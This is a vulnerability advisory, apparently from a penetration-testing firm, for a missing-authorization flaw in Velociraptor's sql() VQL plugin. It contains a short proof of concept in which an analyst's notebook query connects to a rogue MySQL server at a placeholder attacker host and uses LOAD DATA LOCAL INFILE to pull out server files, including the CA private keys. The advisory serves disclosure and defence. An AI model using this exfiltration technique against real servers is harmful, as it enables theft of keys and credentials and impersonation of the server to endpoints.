Rapid7 Velociraptor: Low-Privilege Analyst Reads Arbitrary Server Files via Ungated sql() VQL Plugin

Rapid7 Velociraptor's sql() VQL plugin performs no permission check. An analyst with the lowest query role reads any file of the root-running server via a rogue MySQL server and LOAD DATA LOCAL INFILE, including the deployment CA private key and /etc/shadow.

Advisory ID: TP-2026-059
Product: Rapid7 Velociraptor (open-source DFIR platform by Rapid7 for endpoint monitoring and forensics, self-hosted)
Vulnerability type: Missing Authorization (CWE-862)
CVE: CVE-2026-85737
CVSS 3.1: 6.5 (Medium) · CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
Vendor advisory: GHSA-9qq5-422f-33c2
Affected versions: <= 0.77.1
Fixed in: not yet released
Reported: 18 July 2026

Summary

Rapid7 Velociraptor is an open-source DFIR platform by Rapid7 for endpoint monitoring and forensics whose sql() VQL plugin runs a caller-supplied database driver and connection string with no permission check (vql/parsers/sql/sql.go:93, SQLPlugin.Call). For driver='mysql' or driver='postgres' the handle comes from GetHandleOther (sql.go:39), which passes the connection string straight to sql.Open (sql.go:51) and executes the query (sql.go:159). The plugin declares FILESYSTEM_READ only as Info().Permissions metadata (sql.go:219), which is never consulted at runtime, while every sibling network plugin calls CheckAccess(NETWORK) in its own body. The built-in analyst role holds ANY_QUERY but not FILESYSTEM_READ or NETWORK (acls/roles.go:222) and reaches this sink through the notebook query API. Result: a low-privilege analyst opens arbitrary outbound TCP connections and, through a rogue MySQL server's LOAD DATA LOCAL INFILE, reads any file the root-running server can read, including the deployment CA private key.

Root cause

SQLPlugin.Call (vql/parsers/sql/sql.go:93) parses the caller driver, connstring, and query arguments and reaches handle.Query (sql.go:159) without any vql_subsystem.CheckAccess call in its body. For driver='mysql' or driver='postgres' the handle comes from GetHandleOther (sql.go:39), which hands the attacker connection string to sql.Open (sql.go:51). The plugin states its intended gate only as metadata VQLMetadata().Permissions(acls.FILESYSTEM_READ) (sql.go:219), but MetadataBuilder.Permissions merely stores a string (vql/metadata.go:19) that is read only by the reflection exporter (api/reflect.go:82-110), never by the query engine. Every sibling network plugin enforces CheckAccess(acls.NETWORK) in its own body, so the omission in sql() is an enforcement oversight.

Proof of Concept

# As analyst, confirm the gated variant denies:
SELECT * FROM sql(driver='sqlite', accessor='file',
  file='/etc/passwd', query='SELECT 1')
=> PermissionDenied: [FILESYSTEM_READ]

# Start a rogue MySQL server on an attacker host that answers
# any query with a LOAD DATA LOCAL INFILE <target> packet.

# As the same analyst, via the notebook query API:
POST /api/v1/UpdateNotebookCell
{"type":"vql","input":"SELECT * FROM sql(driver='mysql',
  connstring='x:y@tcp(<attacker>:4499)/z?allowAllFiles=true',
  query='SELECT 1')"}

# The rogue server receives:
# EXFIL 12860 bytes /etc/velociraptor/server.config.yaml
# contains: CA private_key, gw_private_key, Frontend private_key

Impact

  • CA and Frontend RSA private keys disclosed: forge client certificates, impersonate the server to every enrolled endpoint.
  • Any root-readable file on the server host disclosed (/etc/shadow, datastore user records with password hashes).
  • Arbitrary outbound TCP from the server host through the same sink.
  • Triggered by the lowest built-in query role, default config, one query, no admin interaction.

References

Is Something Like This in Your Software?

Our team discovered this vulnerability during its work. Have your applications reviewed by the same specialists, with a penetration test from turingpoint.